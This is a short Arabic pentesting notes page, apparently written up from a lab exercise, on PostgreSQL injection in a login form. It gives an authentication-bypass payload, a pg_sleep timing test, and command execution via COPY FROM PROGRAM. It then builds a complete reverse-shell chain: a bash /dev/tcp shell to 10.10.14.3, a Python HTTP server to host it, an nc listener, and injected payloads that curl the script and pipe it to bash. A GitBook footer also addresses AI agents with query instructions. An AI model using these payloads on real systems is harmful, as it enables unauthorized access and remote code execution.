> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md).

# حقن PostgreSQL

{% hint style="info" %}
يُعد PostgreSQL نظام إدارة قواعد بيانات قويًا كائنيًا-علائقيًا ومفتوح المصدر، قادرًا على التعامل بأمان مع أعباء البيانات الأكثر تعقيدًا.
{% endhint %}

عند إرسال بيانات الاعتماد هذه:

```sql
اسم المستخدم: '
كلمة المرور: '

```

يظهر خطأ SQL، مما يوفر قاعدة PostgreSQL مع `pg_query`.

<figure><img src="/files/81bae6d64aefb6aa27fd15ca938e75ab2d25d5fb" alt=""><figcaption></figcaption></figure>

### **الاستغلال**

اختبر حمولة حقن كلاسيكية:

```vbnet
اسم المستخدم: ' OR 1=1-- -
كلمة المرور: أي شيء

```

نحصل على وصول إلى لوحة تحكم المدير.

<figure><img src="/files/49a22eb6442f65a9cebb9c01e5e556cec4ffe4f7" alt="" width="563"><figcaption></figcaption></figure>

اعترض الطلبات باستخدام **Burp Suite** واستخدم موارد مثل **HackTricks** لتعديل عمليات الحقن.

<figure><img src="/files/0b0934b95376c2856ceac0f6979f23bae7924950" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### لاختبار ما إذا كان الحقن يسمح بتنفيذ الأوامر، استخدم:

`;select pg_sleep(10);-- -` إذا استغرق الرد 10 ثوانٍ، فإن الحقن قابل للاستغلال.

<figure><img src="/files/64406b25815fa7aca529507fd5fab77655f1e119" alt=""><figcaption></figcaption></figure>

### **تنفيذ الأوامر**

إليك مثالًا للحصول على تنفيذ تعليمات برمجية عن بُعد (RCE):

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

```

أنشئ ملفًا `index.html` يحتوي على:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

ابدأ خادم HTTP:

```bash
python3 -m http.server 80

```

قم بإعداد مستمع:

```bash
nc -nvlp 443

```

أرسل الحمولة:

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d

```

<figure><img src="/files/a9e4054a01a049cd0a4753cafcccfdc57d345e04" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/nosql-attack/postgresql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
